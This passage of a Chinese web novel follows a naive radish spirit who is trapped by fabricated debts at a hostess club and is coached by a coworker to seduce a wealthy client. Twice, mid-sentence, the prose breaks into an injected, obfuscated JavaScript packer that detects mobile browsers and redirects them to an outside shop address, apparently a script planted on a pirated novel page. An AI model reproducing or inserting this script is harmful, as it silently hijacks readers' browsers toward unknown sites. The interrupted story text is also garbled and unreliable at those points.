小时候迟萝禧总说讨厌那个味道,爷爷就哈哈大笑,每次想抽烟了,就会走到院子里,离他远远的,坐在门槛上对着月光,咕噜咕噜地抽。 他问过爷爷,为什么要抽烟?烟那么呛,对身体不好。 爷爷摸着他的头说:“不开心的时候,抽一口,好像就没那么不开心了。” 爷爷的儿子和儿媳,也就是迟萝禧名义上的父母,很多年前去外面大城市打工,在一场工地事故里双双去世,只留下爷爷一个人。 爷爷是在后山捡到迟萝禧的。 那天他去后山拾柴,听见一阵小儿啼哭声,循着声音找过去,在一堆野生萝卜中间,发现了一个只有三四岁大小的孩童,正睁着一双乌溜溜懵懂的大眼睛看着他。 不是普通婴儿的形态,是精怪化形。 雾山灵气浓郁,山野间精怪偶有出世,并不稀奇,爷爷没觉得害怕,反而扑通一声跪在地上,对着苍天,泪流满面,不住地磕头,嘴里喃喃着:“谢谢老天爷,谢谢赐给我一个家人,我老迟家,有后了……” 从那以后,迟萝禧就成了他的孙子。 爷爷没告诉任何人孩子的来历,只说是儿子在外留下的唯一血脉,他教迟萝禧说话,走路,送他去山里上的小学,虽然日子清苦,但爷孙俩相依为命,倒也过得平静温馨。 迟萝禧看着白曼忍不住问:“你不开心吗?” 白曼扯了扯嘴角,他弹了弹烟灰,目光重新聚焦在迟萝禧脸上,那眼神有一丝羡慕。 “就那样吧。” 白曼的声音很轻,“哪有那么多开心不开心。” 白曼像是想起了什么:“你跟贺总进行得怎么样了?他今天带你出去,干嘛了?” 迟萝禧老老实实道:“贺先生今天请我吃东西了,好多我从来没吃过的东西,可好吃了,有牛排,有龙虾,还有螃蟹……” 白曼静静地听着:“我还挺羡慕你的,迟萝禧。” 迟萝禧疑惑地看着他。 白曼:“羡慕你可以对不想要的东西,说不,可以因为不喜欢,不舒服,就真的不去做。” 迟萝禧没太听懂。 他以前在山里,喜欢就是喜欢,不喜欢就是不喜欢,很简单。 进了城好像很多事情都变复杂了,他拒绝陪那些让他不舒服的客人,是因为真的很难受,像有虫子在身上爬。 他学不会那些讨好人的技巧,是因为脑子里转不过来,不知道那些话该怎么说,那些事该怎么做。 他不是可以说不,他是真的没办法是。 自从进了城,他不明白的事情太多了。 以前在山里,迟萝禧只需要明白怎么生火做饭,怎么去学校,最烦恼的事就是学习了。 晚上洗漱完躺在床上,迟萝禧摸出手机,萝卜挂件静静地垂在手机下方,随着他的动作轻轻晃动。 他点开微信,找到贺昂霄那个一片深蓝湖泊的头像,想了想,发过去一条消息:贺先生,晚安哦。 几秒钟后,手机震动了一下。 贺昂霄回了:发句语音。 迟萝禧随即听话地按住语音键,凑近话筒,小声地说:“贺先生,晚安,谢谢你请我吃饭。” 城市另一端,某高档公寓顶层。 书房里只开了一盏阅读灯,光线柔和。贺昂霄穿着黑色的真丝睡衣,鼻梁上架着一副精致的金丝边眼镜,正对着电脑屏幕处理工作。手机放在手边,屏幕亮着,显示着迟萝禧刚刚发来的语音条。 他停下敲击键盘的动作,拿起手机,点开那条语音,贴到耳边。 一道干净又带着点睡意软糯的声音,透过听筒,传入耳中。 贺昂霄听着,没说话。 他摘下眼镜,随手扔在书桌上,身体向后,靠进宽大柔软的真皮座椅里,黑暗中,他仰起头,喉结轻轻滚动了一下,然后他扯了扯嘴角,脸上露出一个笑容。 那笑容很恶劣。 像一个窥见了乖乖束手就擒的猎物并为此感到愉悦的……禽兽。 过了两天,迟萝禧正拿着拖把,欢快地一圈一圈地划拉着水痕。 就在这时,杨经理办公室的门开了。 杨经理踩着高跟鞋,站在门口,朝迟萝禧招了招手,脸上难得地没有平日里那种不耐,反而挤出了一丝堪称和颜悦色的笑容:“小迟,过来一下。” 迟萝禧心想杨经理又要开始念叨他了。 是地没拖干净?还是哪个角落的垃圾没扫到? 他像只即将挨训的小狗,耷拉着脑袋,磨磨蹭蹭地挪了过去。 进了办公室,杨经理示意他关上门,然后指了指办公桌对面的椅子:“坐。” 迟萝禧更加忐忑了,小心翼翼地坐了半个屁股。 杨经理没像往常那样劈头盖脸就骂,反而慢悠悠地,从抽屉里拿出一个计算器,又翻开一个厚厚的文件夹。 “小迟啊,你来了也有些日子了,有些账,咱们还没好好算过,今天正好有空,给你捋一捋。” 迟萝禧茫然地看着她。 杨经理开始按计算器,嘴里报着数:“你看啊,当初你来的时候,给你安排的入职培训,这个费用……嗯,三千,给你置办的那几套工作服,虽然你现在穿的是保洁的,但之前那些制服,也是给你定做的,这个……五千,还有,你上次把王总弄伤,会所替你垫付的医药费,赔偿金,加起来五万。另外,你这两个月的食宿,也是一笔开销,就算你便宜点,两千,哦,还有,当初签合同的时候,何佑应该跟你说过,有个什么保证金……” 她嘴里啪啦地报着,手指在计算器上飞快地按动,发出嘀嘀的声响。 迟萝禧听得云里雾里,只看到计算器屏幕上那串数字,从几千跳到几万,又往上窜。 “……林林总总加起来,”杨经理终于停下,把计算器屏幕转向迟萝禧,上面显示着一个让他头晕目眩的数字,“差不多……小二十万了。” 二十万?! 迟萝禧这辈子都没听过这么多钱。 他以前在山里,爷爷攒了一辈子,可能也就几万块钱。 他掰着手指头,想数清楚后面有几个零,越数心越慌,额头的汗都冒了出来。 杨经理:“这还只是欠会所的钱,如果你现在想解除合约,提前走人,” 她翻开合同某一页,指了指上面一行小字:“按照合同规定,如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388064|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有十年的工作时间,你还需要支付五十万的违约金。” 五十万?! 迟萝禧只觉得眼前一黑,怎么违约金比欠的钱还多?他当初到底签了什么? “我……我……” 迟萝禧擦了擦额头的汗,“杨,杨经理,你放心,我会好好干的,我一定好好干活,把钱还上!” 杨经理合上文件夹,把计算器收了起来:“害,别紧张,我就是给你算个账,让你心里有个数,行了,出去干活吧。” 迟萝禧如蒙大赦,连忙站起身,脚步虚浮地走出了办公室。 二十万……五十万…… 迟萝禧想,他离开雾山的时候就带了一千块钱出门,还是现金,藏在花盆底下。 当初本来说去春生哥那里,就不用怎么花钱了。 他到底闯了多大的祸啊。 今天杨经理没骂他,可这比骂他,还让他难受。 迟萝禧恍恍惚惚地往员工休息室走。 休息室里,几个今天没班的少爷正围在一起聊天。 有白曼,还有那个嗓门挺大,英文名叫Jensen的杨景,迟萝禧记了很久才记住,不知道为什么这里的人都要取个英文名。 他们在谈论什么,气氛有点凝重,又带着点猎奇的兴奋。 杨景正用他那标志性的大嗓门,夸张地说:“我靠,真的假的?这么惨啊?” 迟萝禧没什么精神,但八卦是人的天性,就算萝卜也不例外,他忍不住凑过去,小声问:“怎么了?怎么了?谁惨了?” 白曼正靠在储物柜上,手里把玩着一个金属打火机,瞥了迟萝禧一眼:“没什么,就听说我们会所有个得了脏病,下面都烂掉了,治不好,估计快死了。” 旁边几个人发出低低的吸气声和议论。 “太吓人了!” “听说那种病传染性很强……” “啧,这地方……” 白曼还拿出手机,划拉了几下,然后把屏幕转向迟萝禧他们,示意他们看,屏幕上是一张打了马赛克,但依然能看出触目惊心的照片。 一个形容枯槁,面色灰败的人躺在病床上,露出的手臂和小腿上,布满了密密麻麻,流着脓水的暗红色的疮口,有些地方甚至已经溃烂发黑,看起来极其可怖。 迟萝禧只看了一眼,脸色瞬间变得惨白,声音都在抖:“……为,为什么会烂掉?” 白曼收回手机,开口道:“这里脏啊,你以为那些客人都是什么好东西?有些自己身上就带着不干净的病,故意出来祸害人,就喜欢看别人跟他一样烂掉,所以我们这些人,谁不想赶紧挣够了钱离开这里?多留一天,就多一分染病的风险,谁知道哪天就轮到自己身上,烂在这里,连个收尸的人都没有。” 脏烂,这两个字,简直掐中了迟萝禧的命脉。 萝卜是最怕烂的,一旦根子开始腐烂,就会从内到外,一点点失去水分,最后化成一滩恶臭的泥水,回归尘土。 当晚迟萝禧就做了个噩梦。 他以前很少做噩梦,梦里大多是雾山晴朗的天空,爷爷慈祥的笑脸,还有漫山遍野绿油油的萝卜缨子。 可这次他梦见自己躺在冰冷潮湿的泥土里,原本水灵饱满,洁白如玉的根须,从末梢开始,一点点变成灰褐色,然后发黑,流出黏稠腥臭的脓水,腐烂的感觉,从脚底蔓延上来,他想喊,喊不出声,想动,动不了,只能眼睁睁看着自己一点点烂掉…… 迟萝禧满头大汗地惊醒,猛地从床上坐起来,他颤抖着手,摸向自己的小腿,脚踝,那里光滑紧实,没有任何异常。 但他还是不放心,也顾不上穿鞋,跑到窗台,变成萝卜把自己埋进去。 迟萝禧凝神静气,仔细内视自己的根须。还好,还好根须依旧是水灵饱满,洁白如玉,没有一丝一毫腐烂的迹象。 他松了口气,但恐惧并没有完全消散。 人类的世界,竟然有这么可怕能让人烂掉的传染病! 人类生病了,可以去医院,打针,吃药,可他一个萝卜精,如果在这里生了病,该怎么办?有哪个医院能治萝卜的病? 他可不能死在这里,不能烂在这里。 他要活着,他还要回雾山,回去看爷爷,去看漫山遍野的萝卜。 第二天一早,迟萝禧找到了正准备出门的白曼,惶恐道:“Mena,我想离开这里,我不想待在这里了,我可不想烂掉。” 白曼今天出乎意料地醒得早。 白曼被他抓得胳膊生疼,看着他吓得惨白的小脸和通红的眼睛,他掰开迟萝禧的手:“之前不是跟你说过了吗?你想走,简单啊,找个人替你把这笔烂账结了,把违约金付了,你不就能走了?” 迟萝禧忧愁:“那可是好大一笔钱,我去哪里找这么多钱?” 白曼看着他,凑近迟萝禧。 “远在天边,近在眼前,贺昂霄,贺总啊,他不是对你挺感兴趣的吗?钓他啊,从他那里捞一笔钱,对你来说,不就是撒个娇,卖个乖的事?让他给你赎身,不就行了?” 钓贺先生?让他给自己赎身? “可是……” 迟萝禧心里乱糟糟的。 贺先生好像没那个意思啊。 “可是什么?” 白曼打断他,“难道你想继续留在这里,等着哪天也染上病,烂成一摊臭水?你看看杨景他们,谁不是想着法子傍上个金主,捞够了就跑?就你傻,守着那点可笑的良心?良心能当饭吃?能保你不死?” 烂在这里几个字,再次刺激到了迟萝禧。 他不能死,他不能烂在这里,他要活着离开! 贺先生对不起了,他以后一定会报答贺先生的,加倍报答。 迟萝禧握紧了拳头:“好!我钓他!” 10. 喜欢你 迟萝禧下定决心要去钓贺昂霄了。 迟萝禧觉得这有点像以前他们山里人进深山采药,明知前路危险,可能有猛兽,有摔下山崖的风险,但为了生活,还是得咬着牙,硬着头皮往前走。 再说了贺先生也没那么可怕。 对他来说,离开会所,离开可能让他烂掉的可怕环境,贺昂霄就是迟萝禧此刻必须采到的救命药。 决心是下了,实际操作起来,却立刻遇到了一个问题。 迟萝禧自我怀疑:“可是贺先生他从来就没有对我有过那个意思吧?” 那些客人对少爷们常有的动手动脚,纯粹的性//趣。 迟萝禧回想着和贺昂霄相处的点点滴滴。 贺先生会来找他,会听他唱歌,会请他吃饭,会给他钱,会送他小萝卜挂件,好像还挺喜欢听他发语音说晚安的。 但是贺先生从来没像其他客人那样,用那种黏腻带着侵略性的眼神看过他,也没有对他动手动脚,说过什么下流话。 贺先生好像就只是找他,然后就没了? 白曼眼线都白歪了,他用一种看外星生物的眼神看着迟萝禧。 “……那你觉得,贺昂霄他隔三差五地来找你,是来干什么的?学雷锋做好事,关爱智障儿童?还是钱多得没处花体验生活,他一个身家厚得能买下十个春晖的有钱人,每天日理万机,是闲着没事儿干,专程跑来跟你这个保洁小弟聊天的吗?” 迟萝禧摇头迷茫。 “他要是对你没那个意思,他图什么?图你傻?图你手机壁纸是葫芦娃?你直接跟他说,说你想跟他,让他包养你,这不就完了吗?” 迟萝禧很认真地为贺昂霄辩解:“贺先生他是个好人,他跟别人可不一样。” 他想起贺昂霄身上那股让他觉得舒服干净的气,其他来会所的客人,脑子里想的似乎只有那些事情,眼神和气息都脏得很。 可贺先生不是,贺先生虽然有时候嘴巴毒,脾气怪,但他是干净的。 这证明贺昂霄是一个好人。 让他去钓一个好人,迟萝禧心里那点朴素的道德感和愧疚,又开始作祟。 白曼:“……Ok。” 他放弃了跟这个脑子构造异于常人的迟萝禧争论“贺昂霄到底是不是好人”以及“好人会不会包养小傻子”这种哲学兼现实问题。 白曼给迟萝禧支招:“行,你非觉得他是好人,那你就用好人的方式钓,他对你不太反感对吧?那你就想尽办法,制造机会,跟他有肢体接触,拉手,靠肩膀,假装摔倒扑他怀里,只要他不立刻把你甩开,不露出明显的厌恶,就说明他不讨厌。 “等他习惯了你的靠近,甚至有点享受了,你就顺势提出想跟他,就是那个意思懂了吗?” “肢体接触?” 迟萝禧眨了眨眼。 拉手?靠肩膀?扑怀里?对贺先生做这些,好像有点怪怪的? 白曼看着他那一脸纯真的困惑:“拉手,拥抱,然后亲嘴,上//床,你不会不知道这些是什么意思吧?迟萝禧,我拜托你,一天少看点《葫芦娃》动画片,看看成年人该看的东西行不行?” “亲嘴……上床……” 迟萝禧重复了一遍这几个词,脸颊腾地一下,迅速染上了大片大片的红晕,像熟透的番茄,一直红到了耳根。 他当然知道这些词代表什么意思。 以前在山里看到一些电视剧,里面那些主角,有时候就会亲嘴,还会做一些更亲密的事情。 他每次看到,都会不好意思地捂住眼睛,但又忍不住好奇,偷偷地从指缝里,红着脸飞快地瞄几眼。 迟萝禧心跳会加快,脸上会发烧,心里有种奇怪说不清道不明的感觉。 和贺先生接吻吗? 这个念头一冒出来,迟萝禧就觉得脸上更烫了。 他没什么底气地辩解:“……我,我最近已经很少看动画片了……” 白曼拿出烟抽了两口,吐出一个烟圈,看着迟萝禧那副羞得快要把自己埋起来的模样,冷哼一声:“不看就对了,看多了影响智商,让你更傻。” “你想想,你要是真能抱上贺少这条金大腿,别说看动画片了,以后你想让人把《葫芦娃》拍成真人版,让他投资,请最火的明星来演,都没问题。你想演哪个葫芦娃?大娃?还是七娃?” 真人版葫芦娃? 迟萝禧小声说:“没有人能演……”我的偶像。 白曼对给迟萝禧下达指令:“行了,别想那些没用的,你记住,钓贺昂霄才是你现在的事业,是你脱离苦海的唯一出路。那些打扫卫生,刷盘子洗碗的活,跟你没关系了,以后能躲就躲,能敷衍就敷衍,重心放在贺少身上,懂吗?” 迟萝禧用力点点头。 他虽然脑子转得慢,但听人劝吃饱饭这个道理,是爷爷从小就教他的。 白曼是过来人,懂得多,虽然嘴巴毒,但好像也没害过他。 他决定听白曼的。 迟萝禧:“可我爷爷还说让我娶个老婆,我要是跟贺先生上床了,我是不是不能娶老婆了?” 白曼:“……谁说的,你不认识那个杰森吗?他是直的还出来卖屁股,人的性向谁说得准,但是都是一心向钱的。” 迟萝禧摇摇头,感叹:“哎,城里人真会玩。” 很快他也变成这种人了。 迟萝禧:“那我具体该怎么做呀?该说什么话呀?我好像挺不会说话的。” 迟萝禧想起自己经常把杨经理气得跳脚,把贺先生也弄得好像很无语的经历。 白曼想到迟萝禧那能把死人说话,也能把活人气死的语言艺术,杨经理每次被他耿直发言噎得脸色铁青的样子,嘴角也忍不住抽搐了一下。 “……这样吧,以后你无论跟贺少说什么,说什么都行,说完之后,就在后面,不管合不合适都给我加上一句,喜欢你,记住了吗?等你说得多了,说得他习惯了,你就找个机会,哭着对他说,你非他不可,没有他,你就活不下去了,让他包养你,把你从这鬼地方弄出去。” 无论说什么,后面都加一句喜欢你? 这听起来好奇怪。 但是好像又很简单?不需要他动脑筋想什么漂亮话。 好像也不是很难? 迟萝禧点了点头:“记住了!” 白曼看着他这副如获至宝的样子,心里那点因为教坏小孩产生微妙的负罪感,想到什么又变得复杂了起来:“行了,记住了就去实践。” 迟萝禧是个一根筋行动派。 得先把贺先生约出来,他才能有机会实践那些肢体接触吧。 于是他拿起手机,琢磨着该怎么开口邀请:贺先生,你什么时候有空呀?我想请你吃饭。 贺先生请过他吃饭,他应该回请,而且请吃饭,就能见面了。 消息发出去,等了一会儿,贺昂霄才回复,言简意赅:在开会。 哦,在开会。 开会是很重要,很严肃的事情,是不能打扰。他有点失望,但很快又想起白曼的教导。 迟萝禧回复了一句:贺先生,我喜欢你。 打完这几个字,发送出去。 迟萝禧的脸,后知后觉地开始发烫,那种感觉很奇怪,有点不好意思。 他盯着那行字看了几秒,总觉得干巴巴的,缺了点什么。 迟萝禧在自己的表情包里翻了翻,找到了一个白白胖胖的大萝卜,用两片绿叶子捂着脸,旁边还配着害羞两个字。 他觉得这个表情很适合他现在的心情,于是补发了一个过去。 于是,在贺昂霄的手机屏幕上,就出现了这样两条前后脚的消息。 ——贺先生,我喜欢你。 ——[萝卜捂脸.jpg] 城市另一端,霄衡科技总部大楼,二十五层。 宽敞明亮的会议室里,气氛凝重。 巨大的投影屏幕上,是这个季度财报的曲线和数据图表,空调开得很足,空气里弥漫着咖啡的微苦香气和一种无形属于高压工作环境的紧绷感。 长条会议桌两旁,坐满了各部门的高管和核心项目负责人,个个西装革履,表情严肃,或是目不转睛地盯着屏幕,或是低头记录着什么。 坐在主位上的贺昂霄,面前摊开着文件,手里把玩着一支昂贵的定制钢笔,目光落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388065|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在投影幕上,脸色不太好。 正在做汇报的市场部总监,声音越来越小,语速也越来越慢,因为贺昂霄一直没发一言,这种压力比直接的质疑更让人窒息。 就在这时,贺昂霄随手放在桌面上的手机,突然震动了一下,贺昂霄拿起来看了消息。 然后在满会议室高管和总监们余光注视下,他们那位以冷面,挑剔,脾气阴晴不定闻名的老板放下手机,嘴角向上扯动了一下。 从喉咙里溢出一声极轻的笑。 这声意味不明的轻笑,瞬间让所有人的心都提到了嗓子眼。 刚刚还在擦汗的市场总监,手僵在半空,汗都不敢擦了,老板这是是气极反笑,还是觉得他汇报的东西可笑到离谱? 其他高管也面面相觑,这气氛比刚才老板黑着脸不说话时更诡异。 贺昂霄似乎完全没注意到会议室里骤然变化的气氛,他盯着手机屏幕,又看了两秒,然后抬起头,目光重新投向投影幕布,脸上那点细微的笑意已经消失得无影无踪,看着僵在那里的市场总监: “继续啊,怎么不说了?” 市场总监:“…………” 他抓起激光笔,继续讲下去。 而始作俑者迟萝禧发完消息,等了一会儿,贺昂霄没再回复。 他想贺先生果然在忙。 迟萝禧放下手机,叹了口气,贺先生工作也好辛苦啊,开那么久的会。 他又想起自己,每天也很辛苦,得到的回报却少得可怜,还要背上一大笔债。 来到城里这段时间,他可算是发现了,原来知识才是能创造财富的,那些坐在高楼里开会,敲敲电脑就能赚很多钱的人,好像都有很多知识。 而勤劳有时候反而不能,就像他再勤劳,也还是个欠债的穷光蛋。 都怪他以前在山里,没有好好念书。 爷爷送他去山里的小学,他坐不住,总觉得课本上的字像天书,老师讲的话也听不懂,宁愿跑去后山看萝卜,帮爷爷干农活。 要是他当初多用点心,多认识几个字,多学点东西,是不是就不会这么容易被人骗,稀里糊涂签了那个把他坑惨了的合同? 迟萝禧心里有点懊恼,但很快又振作起来。 现在学,也还来得及吧?学什么不是学。 他拿出手机,不再只是玩保卫萝卜,看葫芦娃,他开始在网上搜索:怎么钓一个人? 网页上跳出来五花八门的答案,有些他看不懂,有些看着就很不靠谱。 他一条条地翻着,看得很认真,他看到一条回答,里面提到了游泳。 回答里说,如果你身材好,那就更应该约人去游泳,展示优势。如果你想看对方的身材,更要约人去游泳,游得好的,通常体力和耐力也差不了。 迟萝禧眼睛一亮,游泳?这个主意好像不错。 游泳的话,穿得少是不是就更容易有肢体接触了? 他觉得自己好像找到了一个绝佳的点子,立刻兴冲冲地跑去问白曼:“Mana,你说我约贺先生去游泳,这个主意可以吗?” 白曼正敷着面膜,闻言,从面膜下面斜睨了他一眼,含糊地嗯了一声,声音因为面膜而有些变形:“……你还挺开窍的嘛?知道展示本钱了?” 迟萝禧没听懂本钱是什么意思,但他听出了白曼语气里的肯定。 他不好意思说自己是在网上学的,只当是白曼在夸他聪明,于是很谦虚地接受了这份称赞。 迟萝禧更有信心了:贺先生,你上次请我吃饭了,我请你去游泳吧?[可爱萝卜.jpg] 这次贺昂霄回得挺快,但内容却让迟萝禧瞬间蔫了:我不去公共泳池。 失败了,贺先生有洁癖,应该是觉得公共泳池不干净?也是贺先生那么干净的人,肯定不喜欢人多杂乱的地方。看来这个绝佳方案,还没开始就夭折了。 迟萝禧有些沮丧,回了句:好吧。 正准备放下手机,再想想别的办法,贺昂霄的消息又跳了出来:我家有泳池。 迟萝禧:我可以去吗? 这次,贺昂霄隔了几秒才回,语气感觉有点勉强:来吧。 11. 游泳 迟萝禧要去贺先生家游泳,可是他没有泳衣。 以前在山里的时候,夏天热了,他跟村里其他半大孩子一样都是直接脱了上衣,穿着条短裤,就敢往村口那条清澈见底的小河里扑腾。 他跟白曼说了要去贺先生家游泳的事,顺便提了一嘴泳衣的问题。 白曼赞许:“行啊,开窍了,知道要装备了,走,我陪你去买。” 迟萝禧觉得那玩意跟自己的短裤也差不多,就是更贴身,花哨点。 他以为泳衣这东西,大概就跟普通衣服一样,几十块钱顶天了。 迟萝禧高高兴兴地跟着白曼出了门,以为就是去附近随便哪个夜市逛逛,结果白曼直接打了辆车,把他带到了一家看起来就很高档,门面装修得跟艺术馆似的商场,熟门熟路地上了三楼,走进了专柜。 迟萝禧一进去,地板光可鉴人,能照出人影,四周的货架上挂着各种他看不懂款式,但一看就不便宜的泳衣。 导购小姐穿着合身的制服,妆容精致,目光在他们身上一扫,最后落在迟萝禧身上时,那笑容微妙地停顿了零点一秒,但很快又恢复了自然。 白曼显然对这种地方很熟悉,径直走到展示男士泳装的区域,手指在一排排泳裤上划过,评价着:“这个太保守,不行,没看点,这个颜色太花哨,显土,这条还行……” 他拿起一条蓝色的泳衣,布料是那种很有光泽感的弹性面料,设计确实很简约,腰身低,两侧的边贴着大腿,后背更是只有窄窄的几根带子交叉固定,大片肌肤都裸露在外。 迟萝禧凑过去,好奇地看了看。 这跟他想象的泳裤好像不太一样,他以为男生的泳衣,至少应该把屁股和大部分后背都包住吧?怎么这个露这么多? 然后他的目光,落在了那条泳裤旁边挂着一个精致的白色价签上。 上面印着一串数字。 迟萝禧眨了眨眼,以为自己看错了,又凑近了些,仔细数了数后面的零。 一,二,三…… 四位数? 就那么几块布?这也太夸张了,这布料是金子做的吗? 他对白曼说:“……Mana,这也太贵了,我昨天在网上看了,39块9还包邮,我看着也挺好的,就买那个行不行?” 白曼跟看山顶洞人:“39块9包邮?你那个土老帽款式,是准备穿着去公共泳池跟大爷大妈们一起下饺子吗?能有什么看头?你到底还想不想勾引贺少了?想不想让他对你眼前一亮,欲罢不能?” 他晃了晃手里那条价值不菲的泳衣,语气是不容置疑的:“就这条,去,试试。” 迟萝禧被他一番话堵得哑口无言,一咬牙接过了泳裤,磨磨蹭蹭地跟着导购小姐走进了试衣间。 试衣间很宽敞,有镜子,灯光也很亮。 布料贴在皮肤上,凉丝丝的,弹性很好,非常贴身。他不太习惯地扯了扯腰间的系带,又侧过身,看向镜子。 迟萝禧身高一七六,在山里孩子里算高的,而且他比例极好,腿长得又直又匀称,腰身纤细,没有一丝赘肉,肌肉线条流畅而不夸张,是那种少年人充满生命力的紧实。 皮肤玉石般的莹白,在明亮的灯光下在发光,光滑细腻,没有一丝瑕疵。 平日里在会所,他总是穿着那身灰扑扑的衣服,换上这条剪裁精良,设计心机的泳裤,所有被掩盖的优势,瞬间被放大,凸显出来。 低腰的设计,勾勒出劲瘦的腰线,侧边让本就笔直修长的腿,视觉上又被拉长了几分。后背交叉的细带,更是将蝴蝶骨和流畅的肩背线条展露无遗。 整个人站在那里像一株刚从水里捞出来带着露珠水灵灵的白玉兰,干净,剔透,又因为那身与气质略有反差带着点欲的装扮,透出纯真的诱惑力。 迟萝禧自己看着镜子,都觉得有点不好意思,他扭扭捏捏地用手挡了挡露得比较多的大腿侧边。 他慢吞吞地挪了出来。 白曼正靠在柜台边,跟导购小姐低声说着什么,听到动静,转过头来。 导购小姐惊叹:“这位先生穿着很好看。” 他心想难怪当初那个王总会对他动手动脚,除了那张脸,这身段,确实有让人见色起意的资本。 白曼上下打量了迟萝禧几眼,从头顶到脚踝,又从脚踝看到头顶:“迟萝禧你在山里,到底天天吃些什么长大的啊?真是天选小受。” 迟萝禧问:“那是什么?” 白曼没解释,摇了摇头,转身走回柜台对导购小姐说:“就这条,开票吧。” 他从自己随身的链条小包里,拿出一张卡递过去。 迟萝禧:“Mana,这太贵了,我自己想办法。” 他虽然穷,但也不想让白曼花这么多钱,他知道白曼赚钱也不容易。 白曼拍开他的手:“行了,别跟我争,当我送你的礼物,提前投资,等你之后真攀上了贺少,飞黄腾达了,别忘了我这个引路人就行。” 迟萝禧看着他利落地刷卡,签字,心里又是感动,又是愧疚:“嗯,Mana,你对我好,我都记得,我以后一定会报答你的。” 白曼接过包装好的泳裤袋子,塞到迟萝禧怀里。 迟萝禧抱着那个纸袋,跟在他身后。 过了两天贺昂霄开车载着迟萝禧,穿过大半个城市,驶入了一片被高大乔木和精心园艺环绕,静谧得仿佛与世隔绝的别墅区。 车子沿着干净整洁的私路滑行,最终停在一栋现代风格的三层别墅前。 建筑线条简洁利落,大片通透的玻璃幕墙反射着午后的阳光,与周围的绿意和谐相融,低调中透着昂贵。 迟萝禧提着纸袋,他仰着脑袋,眼睛都不够用,看看眼前这栋漂亮得像模型一样的房子,又看看旁边修剪成几何形状的灌木丛,和远处那片在阳光下泛着粼粼波光的湖景。 他赞叹:“贺先生,你家好漂亮啊,跟画儿里的一样。” 贺昂霄走在前面,单手插在西裤口袋里,闻言得意道:“那是,这不过是我其中一处落脚的地方罢了。” 迟萝禧有时候说恭维话,就是这样,不带任何目的性,不拐弯抹角,就那么直愣愣地把心里的想法说出来,还挺招人疼的。 特别是当他用那双清澈见底,写满了你好厉害的眼睛,一本正经地夸人的时候,被夸奖的人,很难不产生一种被取悦的满足感。 贺昂霄带着他穿过宽敞得有些空旷的客厅。 客厅是挑高设计,巨大的水晶吊灯从天花垂下,光可鉴人的大理石地板,冷色调的现代家具,墙上挂着几幅抽象派油画,处处透着一种精心设计却缺乏生活气息的奢华感。 他们从客厅一扇巨大的落地玻璃门走出去,后院是一个精心打理过的私家花园,绿草如茵,花木扶疏。 镶嵌在花园中央湛蓝色无边泳池子池水在阳光下清澈见底,波光粼粼,像一块流动的蓝宝石。 池边铺着防腐木地板,摆放着白色的躺椅,遮阳伞,以及一个设计简约的户外吧台。 远处是精心修剪的绿篱,将这里与外界巧妙地隔开。 贺昂霄随手将车钥匙扔在旁边的藤编茶几上,指了指泳池旁边花园墙壁融为一体的木门:“那边是更衣室和淋浴间,你去换衣服。” 迟萝禧哦了一声。 贺昂霄换好衣服以后,就入水活动了。 贺昂霄身高足有一米九一,肩宽腿长,骨架生得极好,是那种典型的穿衣显瘦,脱衣有肉的类型。 早年在外求学时参加过校橄榄球队的经历,给他打下了极佳的运动底子,虽然如今早已远离激烈对抗,但常年保持的规律健身,让他的肌肉线条流畅而充满力量感,不是夸张的健美先生体型,而是更符合精英审美,精悍结实的类型。 贺昂霄皮肤是那种在阳光下均匀晒出的健康小麦色,他站在池边,做了几个肩部和腰部的伸展,肩胛骨和手臂的肌肉随之舒展,像一头在领地内巡视慵懒而充满爆发力的黑豹。 迟萝禧钻进了那扇木门。 更衣室不大,但同样干净整洁,迟萝禧磨磨蹭蹭地换上了白曼给他买的那条昂贵的泳衣。 布料冰凉丝滑,弹性极佳,紧紧贴在身上,将他身体的每一处起伏都勾勒得清清楚楚。 他站在墙角的镜前,只看了一眼,这穿的跟没穿有什么区别? 后背露着,大腿也露着大半截, 他从旁边的架子上扯下一条干净的白色大浴巾,把自己从脖子以下,大腿中部以上,严严实实地裹了起来,只露出纤细的小腿和一双白生生的脚丫。 等他别别扭扭,一步一顿地挪出更衣室,重新回到泳池边时,贺昂霄已经在水里游了将近几圈了。 他游的是标准的自由泳,动作流畅有力,每一次划水都带着水花,核心力量极强。 迟萝禧看着阳光下对方那身充满力量感和男性魅力的躯体,又下意识地低头看了看自己细瘦的胳膊和平坦的胸膛,心里莫名地有点说不清的悸动。 贺昂霄游到池边,双手一撑池壁,轻松地跃出水面,带起一片晶莹的水帘。 水珠顺着他麦色的皮肤滚滚而落,滑过宽阔的肩,结实的胸腹肌肉,他抹了把脸,一抬头,就看到了站在池边,裹着白色浴巾的迟萝禧。 贺昂霄:“…………” “……你披的是个什么玩意儿?” 迟萝禧在池边一张白色的躺椅上坐下:“……就是有点冷嘛。” 贺昂霄简直要被迟萝禧气笑了,他双臂交叠,轻松地搭在池壁光滑的瓷砖上,仰起头,好整以暇地看着坐在高处的迟萝禧。 水珠顺着他下颚滑落,贺昂霄开口:“你约我来游泳,结果自己就坐这儿披着浴巾看?迟萝禧,你耍我玩呢?” 迟萝禧被他问得语塞,脚趾在光滑的瓷砖上蜷缩起来,他其实是真的有点怵水。 